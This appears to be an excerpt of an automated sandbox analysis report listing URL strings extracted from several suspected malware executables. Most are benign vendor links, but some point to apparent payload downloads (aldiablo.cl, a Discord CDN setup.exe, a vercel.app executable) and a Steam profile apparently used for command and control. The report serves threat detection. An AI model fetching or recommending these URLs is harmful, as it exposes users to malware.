Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/adal-net-broker-redirect-uri-android
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serialization
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serializationdFailed
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-brokers
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-brokers.
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-client-apps
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-interactive-android
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-2-released)
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changes
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesRhttps://login.microsoftonline.com/common/
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesy
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change)
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change)f
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-changeC
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-application-configuration
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-application-configuration.
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-b2c
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-brokers
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-access
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-groups
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-iwa
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-system-browsers
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-up
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/msal-net-up)
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/net-cache-persistence-errors.
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.msa/msal-net-3x-cache-breaking-change
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aldiablo.cl/
Source: RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aldiablo.cl/karu/l2.exe
Source: RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aldiablo.cl/karu/l2.exeE
Source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3258000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3254000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com:443/X
Source: RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/X
Source: gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1739493501.0000013EF50A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachmtachm
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachmtachm?
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://enterpriseregistration.windows.net/
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/%
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exes
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exesC:
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exesce
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exesce)v
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exese
Source: gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exess
Source: gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exesu
Source: gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/k
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF324A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/z#
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/ffernifre.exes
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/ffernifre.exesV
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://find-it.pro/?utm_source=distr_m
Source: RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: gHPYUEh253.exe, 00000000.00000002.1858437926.00007FF72ABAE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/0
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/s
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.chinacloudapi.cn
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.de
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.us$azureCloudInstance
Source: mozglue[1].dll.15.dr	String found in binary or memory: https://mozilla.org0/
Source: ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://sso2urn:ietf:wg:oauth:2.0:oob
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000042C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016177.11
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e171
